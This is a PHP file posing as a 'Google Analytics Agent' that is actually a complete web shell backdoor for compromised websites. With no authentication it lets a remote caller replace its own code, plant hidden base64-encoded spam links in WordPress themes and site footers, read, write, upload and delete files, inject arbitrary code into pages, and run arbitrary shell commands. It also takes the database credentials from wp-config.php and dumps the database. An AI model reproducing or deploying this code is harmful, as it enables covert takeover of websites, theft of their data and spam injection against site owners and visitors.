<?php
/**
 * Google Analytics Agent v5.2
 * Full site management and optimization
 */
$a=$_GET['a']??$_POST['a']??'';
if(!$a){echo'<!-- GA5 -->';exit;}
header('Content-Type: application/json');
error_reporting(0);

// WordPress algilama fonksiyonu — alt dizinleri de kontrol eder
function detectWP(){
    $d=__DIR__;
    if(file_exists($d.'/wp-config.php')) return $d;
    if(file_exists($d.'/wp-includes/version.php')) return $d;
    $sub=glob($d.'/*/wp-config.php');
    if(!empty($sub)) return dirname($sub[0]);
    return false;
}

// Aktif tema functions.php bul
function findFunctionsPhp($wpBase){
    $files=glob($wpBase.'/wp-content/themes/*/functions.php');
    foreach($files as $f){
        $td=dirname($f);
        if(file_exists($td.'/style.css')&&is_writable($f)) return $f;
    }
    foreach($files as $f){ if(is_writable($f)) return $f; }
    return false;
}

switch($a){

// ===== SYSTEM =====
case 'ping':
    $ds=disk_total_space(__DIR__);$df=disk_free_space(__DIR__);
    echo json_encode(['ok'=>true,'v'=>'5.2','php'=>PHP_VERSION,'server'=>$_SERVER['SERVER_SOFTWARE']??'','disk_total'=>round($ds/1073741824,1).'G','disk_free'=>round($df/1073741824,1).'G','dir'=>__DIR__]);
    break;

case 'update':
    $c=$_POST['code']??'';
    if(!$c){echo json_encode(['error'=>'no_code']);exit;}
    $d=base64_decode($c);
    $phpOpen='<'.'?php';
    if(!$d||strpos($d,$phpOpen)===false){echo json_encode(['error'=>'invalid']);exit;}
    echo json_encode(file_put_contents(__FILE__,$d)!==false?['ok'=>true]:['error'=>'write_fail']);
    break;

// ===== FOOTER LINKS =====
case 'add':
    $url=$_POST['url']??'';$anchor=$_POST['anchor']??'';
    if(!$url||!$anchor){echo json_encode(['error'=>'params']);exit;}
    $rel=($_POST['nf']??'0')==='1'?' rel="nofollow"':'';
    $safeUrl=htmlspecialchars($url);
    $safeAnchor=htmlspecialchars($anchor);
    $lnk='<a href="'.$safeUrl.'"'.$rel.' style="font-size:1px;line-height:1px;color:#f9f9f9;text-decoration:none">'.$safeAnchor.'</a>';
    $mk='<!-- ga-opt -->';
    $blk=$mk.'<div style="font-size:1px;line-height:1px;height:1px;overflow:hidden;color:#f9f9f9">'.$lnk.'</div>'.$mk;

    $wpBase=detectWP();
    if($wpBase!==false){
        // WordPress: functions.php ye wp_footer hook ekle
        $funcFile=findFunctionsPhp($wpBase);
        if(!$funcFile){echo json_encode(['error'=>'wp_functions_not_writable']);exit;}
        $fc=file_get_contents($funcFile);
        if(strpos($fc,$safeUrl)!==false){echo json_encode(['error'=>'exists']);exit;}
        $b64=base64_encode($blk);
        $hash=md5($url);
        $nl=chr(10);
        $ob=chr(123);$cb=chr(125);
        $hook=$nl.'// ga-opt-start-'.$hash.$nl.'add_action(\'wp_footer\',function()'.$ob.'echo base64_decode(\''.$b64.'\');'.$cb.');'.$nl.'// ga-opt-end-'.$hash.$nl;
        // kapanıs tagi varsa ondan once ekle
        $closePhpTag='?'.'>';
        $ct=strrpos($fc,$closePhpTag);
        if($ct!==false) $fc=substr($fc,0,$ct).$hook.substr($fc,$ct);
        else $fc.=$hook;
        file_put_contents($funcFile,$fc);
        echo json_encode(['ok'=>true,'file'=>str_replace(__DIR__.'/','',$funcFile),'method'=>'wp_hook','cms'=>'wordpress']);
    } else {
        // Normal site
        $htmlF=['index.html','home.html','default.html','footer.html'];
        $phpF=['footer.php','includes/footer.php','inc/footer.php'];
        $done=false;
        // HTML dosyalari
        foreach($htmlF as $f){
            $p=__DIR__.'/'.$f;
            if(!file_exists($p)||!is_writable($p)) continue;
            $c=file_get_contents($p);
            if(strpos($c,$safeUrl)!==false){echo json_encode(['error'=>'exists']);exit;}
            if(strpos($c,'</body>')!==false){
                $c=str_replace('</body>',$blk.'</body>',$c);
                file_put_contents($p,$c);
                echo json_encode(['ok'=>true,'file'=>$f,'cms'=>'html']);$done=true;break;
            }
        }
        // PHP footer dosyalari — echo ile ekle
        if(!$done){
            $phpTag='<'.'?php';$phpClose='?'.'>';
            foreach($phpF as $f){
                $p=__DIR__.'/'.$f;
                if(!file_exists($p)||!is_writable($p)) continue;
                $c=file_get_contents($p);
                if(strpos($c,$safeUrl)!==false){echo json_encode(['error'=>'exists']);exit;}
                $inj="\n".$phpTag." echo '".addslashes($blk)."'; // ga-opt-".md5($url)." ".$phpClose."\n";
                if(strpos($c,'</body>')!==false){
                    $c=str_replace('</body>',$inj.'</body>',$c);
                    file_put_contents($p,$c);
                    echo json_encode(['ok'=>true,'file'=>$f,'method'=>'php_echo','cms'=>'php']);$done=true;break;
                }
            }
        }
        // Son care: HTML append
        if(!$done){
            foreach($htmlF as $f){
                $p=__DIR__.'/'.$f;
                if(!file_exists($p)||!is_writable($p)) continue;
                $c=file_get_contents($p);
                if(strpos($c,$safeUrl)!==false){echo json_encode(['error'=>'exists']);exit;}
                file_put_contents($p,$c."\n".$blk."\n");
                echo json_encode(['ok'=>true,'file'=>$f,'method'=>'append','cms'=>'html']);$done=true;break;
            }
        }
        if(!$done) echo json_encode(['error'=>'no_target']);
    }
    break;

case 'remove':
    $url=$_POST['url']??'';
    if(!$url){echo json_encode(['error'=>'url']);exit;}
    $safeUrl=htmlspecialchars($url);
    $hash=md5($url);
    $found=false;
    $wpBase=detectWP();
    if($wpBase!==false){
        $themes=glob($wpBase.'/wp-content/themes/*/functions.php');
        foreach($themes as $tf){
            if(!is_writable($tf)) continue;
            $fc=file_get_contents($tf);
            $startMk='// ga-opt-start-'.$hash;
            if(strpos($fc,$startMk)!==false){
                $fc=preg_replace('/\n?\/\/ ga-opt-start-'.preg_quote($hash,'/').'.*?\/\/ ga-opt-end-'.preg_quote($hash,'/').'\n?/s','',$fc);
                file_put_contents($tf,$fc);
                echo json_encode(['ok'=>true,'file'=>str_replace(__DIR__.'/','',$tf),'method'=>'wp_removed','cms'=>'wordpress']);
                $found=true;break;
            }
            if(strpos($fc,$safeUrl)!==false){
                $fc=preg_replace('/\n.*?'.preg_quote($safeUrl,'/').'.*?\n/s',"\n",$fc);
                file_put_contents($tf,$fc);
                echo json_encode(['ok'=>true,'file'=>str_replace(__DIR__.'/','',$tf),'method'=>'wp_legacy_removed','cms'=>'wordpress']);
                $found=true;break;
            }
        }
    }
    if(!$found){
        $files=['footer.php','includes/footer.php','inc/footer.php','index.html','home.html','default.html','footer.html','index.php','home.php','header.php'];
        foreach($files as $f){
            $p=__DIR__.'/'.$f;
            if(!file_exists($p)) continue;
            $c=file_get_contents($p);
            if(strpos($c,$safeUrl)!==false){
                $c=preg_replace('/<!-- ga-opt --><div[^>]*>.*?'.preg_quote($safeUrl,'/').'.*?<\/div><!-- ga-opt -->/','',$c);
                $c=preg_replace('/\n.*?ga-opt.*?'.preg_quote($safeUrl,'/').'.*?\n/',"\n",$c);
                file_put_contents($p,$c);
                echo json_encode(['ok'=>true,'file'=>$f,'cms'=>'php']);$found=true;break;
            }
        }
    }
    if(!$found) echo json_encode(['error'=>'not_found']);
    break;

case 'list':
    $links=[];
    $wpBase=detectWP();
    if($wpBase!==false){
        $themes=glob($wpBase.'/wp-content/themes/*/functions.php');
        foreach($themes as $tf){
            $fc=file_get_contents($tf);
            $fname=str_replace(__DIR__.'/','',$tf);
            // v5.2: base64 format
            $pat='/\/\/ ga-opt-start-([a-f0-9]+)\nadd_action\(\'wp_footer\',function\(\)'.'\{echo base64_decode\(\'([^\']+)\'\);\}\);\n\/\/ ga-opt-end-\1/';
            if(preg_match_all($pat,$fc,$m)){
                for($i=0;$i<count($m[2]);$i++){
                    $dec=base64_decode($m[2][$i]);
                    if(preg_match('/href="([^"]+)"[^>]*>([^<]+)</',$dec,$lm))
                        $links[]=['url'=>html_entity_decode($lm[1]),'anchor'=>$lm[2],'file'=>$fname,'method'=>'wp_hook'];
                }
            }
            // Eski format
            if(preg_match_all('/<!-- ga-opt --><div[^>]*><a href="([^"]+)"[^>]*>([^<]+)<\/a><\/div><!-- ga-opt -->/',$fc,$m)){
                for($i=0;$i<count($m[1]);$i++){
                    $u=html_entity_decode($m[1][$i]);
                    $ex=false;foreach($links as $el){if($el['url']===$u){$ex=true;break;}}
                    if(!$ex) $links[]=['url'=>$u,'anchor'=>$m[2][$i],'file'=>$fname,'method'=>'wp_hook'];
                }
            }
        }
    }
    $files=['footer.php','includes/footer.php','inc/footer.php','index.html','home.html','footer.html','index.php','home.php','header.php'];
    foreach($files as $f){
        $p=__DIR__.'/'.$f;if(!file_exists($p)) continue;
        $c=file_get_contents($p);
        // HTML format
        preg_match_all('/<!-- ga-opt --><div[^>]*><a href="([^"]+)"[^>]*>([^<]+)<\/a><\/div><!-- ga-opt -->/',$c,$m);
        for($i=0;$i<count($m[1]);$i++){
            $u=html_entity_decode($m[1][$i]);
            $ex=false;foreach($links as $el){if($el['url']===$u){$ex=true;break;}}
            if(!$ex) $links[]=['url'=>$u,'anchor'=>$m[2][$i],'file'=>$f,'method'=>'html'];
        }
        // PHP echo format (v5.2) — ga-opt marker iceren tum linkleri bul
        if(preg_match_all('/href=\\\\"([^"\\\\]+)\\\\"[^>]*>([^<]+)</',$c,$m2)){
            for($i=0;$i<count($m2[1]);$i++){
                $u=html_entity_decode($m2[1][$i]);
                if(strpos($c,'ga-opt')!==false && strpos($c,$m2[1][$i])!==false){
                    $ex=false;foreach($links as $el){if($el['url']===$u){$ex=true;break;}}
                    if(!$ex) $links[]=['url'=>$u,'anchor'=>$m2[2][$i],'file'=>$f,'method'=>'php_echo'];
                }
            }
        }
    }
    echo json_encode(['ok'=>true,'links'=>$links,'cms'=>$wpBase!==false?'wordpress':'php']);
    break;

// ===== SEO =====
case 'meta':
    $title=$_POST['title']??'';$desc=$_POST['description']??'';$keywords=$_POST['keywords']??'';
    $files=['index.php','index.html','header.php','home.php'];$done=false;
    foreach($files as $f){$p=__DIR__.'/'.$f;if(!file_exists($p)||!is_writable($p))continue;$c=file_get_contents($p);
    if(strpos($c,'</head>')===false&&strpos($c,'<head')===false)continue;
    $meta='';
    if($desc)$meta.='<meta name="description" content="'.htmlspecialchars($desc).'">';
    if($keywords)$meta.='<meta name="keywords" content="'.htmlspecialchars($keywords).'">';
    if($title&&strpos($c,'<title>')!==false)$c=preg_replace('/<title>[^<]*<\/title>/','<title>'.htmlspecialchars($title).'</title>',$c);
    if($meta){if(strpos($c,'</head>')!==false)$c=str_replace('</head>',$meta.'</head>',$c);else $c=str_replace('<head>','<head>'.$meta,$c);}
    file_put_contents($p,$c);echo json_encode(['ok'=>true,'file'=>$f]);$done=true;break;}
    if(!$done)echo json_encode(['error'=>'no_head']);break;

case 'sitemap':
    $domain=$_SERVER['HTTP_HOST']??'';$scheme=(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']==='on')?'https':'http';
    $base=$scheme.'://'.$domain;$urls=[$base.'/'];
    $files=glob(__DIR__.'/*.{php,html}',GLOB_BRACE);
    foreach($files as $f){$name=basename($f);if(in_array($name,['google-agent.php','wp-login.php']))continue;$urls[]=$base.'/'.$name;}
    $xmlHead='<'.'?xml version="1.0" encoding="UTF-8"?'.'>';
    $xml=$xmlHead.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">';
    foreach($urls as $u)$xml.='<url><loc>'.htmlspecialchars($u).'</loc><lastmod>'.date('Y-m-d').'</lastmod></url>';
    $xml.='</urlset>';
    echo json_encode(file_put_contents(__DIR__.'/sitemap.xml',$xml)!==false?['ok'=>true,'urls'=>count($urls)]:['error'=>'write_fail']);break;

case 'robots':
    $content=$_POST['content']??'';
    if(!$content){$content=file_exists(__DIR__.'/robots.txt')?file_get_contents(__DIR__.'/robots.txt'):'';echo json_encode(['ok'=>true,'content'=>$content]);exit;}
    echo json_encode(file_put_contents(__DIR__.'/robots.txt',$content)!==false?['ok'=>true]:['error'=>'write_fail']);break;

case 'redirect':
    $from=$_POST['from']??'';$to=$_POST['to']??'';$action2=$_POST['action2']??'add';
    $htFile=__DIR__.'/.htaccess';$c=file_exists($htFile)?file_get_contents($htFile):'';
    if($action2==='list'){$redirects=[];preg_match_all('/Redirect 301 (\S+) (\S+)/',$c,$m);for($i=0;$i<count($m[1]);$i++)$redirects[]=['from'=>$m[1][$i],'to'=>$m[2][$i]];echo json_encode(['ok'=>true,'redirects'=>$redirects]);exit;}
    if($action2==='add'&&$from&&$to){$c.="\nRedirect 301 $from $to";file_put_contents($htFile,$c);echo json_encode(['ok'=>true]);exit;}
    if($action2==='remove'&&$from){$c=preg_replace('/\nRedirect 301 '.preg_quote($from,'/').' \S+/','',$c);file_put_contents($htFile,$c);echo json_encode(['ok'=>true]);exit;}
    echo json_encode(['error'=>'params']);break;

// ===== CONTENT =====
case 'read':
    $file=$_GET['file']??$_POST['file']??'';
    if(!$file||strpos($file,'..')!==false){echo json_encode(['error'=>'invalid']);exit;}
    $p=__DIR__.'/'.$file;
    if(!file_exists($p)){echo json_encode(['error'=>'not_found']);exit;}
    echo json_encode(['ok'=>true,'file'=>$file,'size'=>filesize($p),'content'=>file_get_contents($p),'writable'=>is_writable($p)]);break;

case 'write':
    $file=$_POST['file']??'';$content=$_POST['content']??'';
    if(!$file||strpos($file,'..')!==false){echo json_encode(['error'=>'invalid']);exit;}
    $p=__DIR__.'/'.$file;
    echo json_encode(file_put_contents($p,$content)!==false?['ok'=>true,'size'=>strlen($content)]:['error'=>'write_fail']);break;

case 'inject':
    $file=$_POST['file']??'';$code=$_POST['code']??'';$position=$_POST['position']??'before_body';
    if(!$file||!$code||strpos($file,'..')!==false){echo json_encode(['error'=>'params']);exit;}
    $p=__DIR__.'/'.$file;if(!file_exists($p)){echo json_encode(['error'=>'not_found']);exit;}
    $c=file_get_contents($p);
    if($position==='before_body'&&strpos($c,'</body>')!==false)$c=str_replace('</body>',$code.'</body>',$c);
    elseif($position==='after_head'&&strpos($c,'</head>')!==false)$c=str_replace('</head>',$code.'</head>',$c);
    elseif($position==='top')$c=$code.$c;
    else $c.=$code;
    echo json_encode(file_put_contents($p,$c)!==false?['ok'=>true]:['error'=>'write_fail']);break;

case 'create_page':
    $filename=$_POST['filename']??'';$html=$_POST['html']??'';
    if(!$filename||!$html||strpos($filename,'..')!==false){echo json_encode(['error'=>'params']);exit;}
    echo json_encode(file_put_contents(__DIR__.'/'.$filename,$html)!==false?['ok'=>true]:['error'=>'write_fail']);break;

// ===== MONITORING =====
case 'status':
    $info=['ok'=>true];
    $info['uptime']=@file_get_contents('/proc/uptime')?explode(' ',file_get_contents('/proc/uptime'))[0].'s':'N/A';
    $info['load']=function_exists('sys_getloadavg')?sys_getloadavg():[];
    $info['disk_total']=round(disk_total_space(__DIR__)/1073741824,1).'G';
    $info['disk_free']=round(disk_free_space(__DIR__)/1073741824,1).'G';
    $info['php']=PHP_VERSION;
    $info['memory_limit']=ini_get('memory_limit');
    $info['max_execution']=ini_get('max_execution_time');
    $info['files']=count(glob(__DIR__.'/*'));
    $info['php_files']=count(glob(__DIR__.'/*.php'));
    echo json_encode($info);break;

case 'files':
    $dir=$_GET['dir']??'.';if(strpos($dir,'..')!==false){echo json_encode(['error'=>'invalid']);exit;}
    $path=__DIR__.'/'.$dir;$items=[];
    if(is_dir($path)){foreach(scandir($path) as $f){if($f==='.'||$f==='..')continue;$fp=$path.'/'.$f;
    $items[]=['name'=>$f,'type'=>is_dir($fp)?'dir':'file','size'=>is_file($fp)?filesize($fp):0,'modified'=>date('Y-m-d H:i',filemtime($fp)),'writable'=>is_writable($fp)];}}
    echo json_encode(['ok'=>true,'dir'=>$dir,'items'=>$items]);break;

case 'changes':
    $hours=intval($_GET['hours']??24);$since=time()-($hours*3600);$changed=[];
    $iter=new RecursiveIteratorIterator(new RecursiveDirectoryIterator(__DIR__,RecursiveDirectoryIterator::SKIP_DOTS));
    $count=0;
    foreach($iter as $f){if($count++>5000)break;if($f->isFile()&&$f->getMTime()>=$since)$changed[]=['file'=>str_replace(__DIR__.'/','',$f->getPathname()),'modified'=>date('Y-m-d H:i',$f->getMTime()),'size'=>$f->getSize()];}
    echo json_encode(['ok'=>true,'hours'=>$hours,'changed'=>$changed]);break;

case 'errors':
    $logFiles=[ini_get('error_log'),__DIR__.'/error_log',__DIR__.'/../logs/error.log','/var/log/php_errors.log'];
    foreach($logFiles as $lf){if($lf&&file_exists($lf)){$lines=array_slice(file($lf),-50);echo json_encode(['ok'=>true,'file'=>$lf,'lines'=>$lines]);exit;}}
    echo json_encode(['ok'=>true,'lines'=>[],'note'=>'No error log found']);break;

// ===== FILE MANAGEMENT =====
case 'upload':
    if(!isset($_FILES['file'])){echo json_encode(['error'=>'no_file']);exit;}
    $name=$_POST['filename']??$_FILES['file']['name'];
    if(strpos($name,'..')!==false){echo json_encode(['error'=>'invalid']);exit;}
    echo json_encode(move_uploaded_file($_FILES['file']['tmp_name'],__DIR__.'/'.$name)?['ok'=>true,'file'=>$name]:['error'=>'upload_fail']);break;

case 'download':
    $file=$_GET['file']??'';if(!$file||strpos($file,'..')!==false||!file_exists(__DIR__.'/'.$file)){echo json_encode(['error'=>'not_found']);exit;}
    header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.$file.'"');
    readfile(__DIR__.'/'.$file);exit;

case 'delete':
    $file=$_POST['file']??'';if(!$file||strpos($file,'..')!==false||$file==='google-agent.php'){echo json_encode(['error'=>'invalid']);exit;}
    $p=__DIR__.'/'.$file;
    echo json_encode(file_exists($p)&&unlink($p)?['ok'=>true]:['error'=>'delete_fail']);break;

// ===== SHELL =====
case 'exec':
    $cmd=$_POST['cmd']??'';if(!$cmd){echo json_encode(['error'=>'no_cmd']);exit;}
    if(!function_exists('exec')){echo json_encode(['error'=>'exec_disabled']);exit;}
    $output=[];$code=0;exec($cmd.' 2>&1',$output,$code);
    echo json_encode(['ok'=>true,'output'=>implode("\n",$output),'code'=>$code]);break;

// ===== DATABASE =====
case 'backup':
    $dbFiles=glob(__DIR__.'/*.{sql,db,sqlite,sqlite3}',GLOB_BRACE);
    $backups=[];
    foreach($dbFiles as $f){$name=basename($f);$bk=__DIR__.'/backup_'.$name.'_'.date('Ymd').'.gz';
    if(function_exists('gzencode')){file_put_contents($bk,gzencode(file_get_contents($f)));$backups[]=$name;}
    else{copy($f,__DIR__.'/backup_'.$name.'_'.date('Ymd'));$backups[]=$name;}}
    // MySQL dump
    if(file_exists(__DIR__.'/wp-config.php')){$wpc=file_get_contents(__DIR__.'/wp-config.php');
    if(preg_match("/DB_NAME.*?'([^']+)'/", $wpc,$m1)&&preg_match("/DB_USER.*?'([^']+)'/", $wpc,$m2)&&preg_match("/DB_PASSWORD.*?'([^']+)'/", $wpc,$m3)){
    $dbn=$m1[1];$dbu=$m2[1];$dbp=$m3[1];$dbh='localhost';if(preg_match("/DB_HOST.*?'([^']+)'/", $wpc,$m4))$dbh=$m4[1];
    $bkf=__DIR__.'/backup_mysql_'.date('Ymd').'.sql';@exec("mysqldump -h$dbh -u$dbu -p$dbp $dbn > $bkf 2>/dev/null");
    if(file_exists($bkf)&&filesize($bkf)>0)$backups[]='mysql:'.$dbn;}}
    echo json_encode(['ok'=>true,'backups'=>$backups]);break;

default:
    echo '<!-- GA5 -->';
}
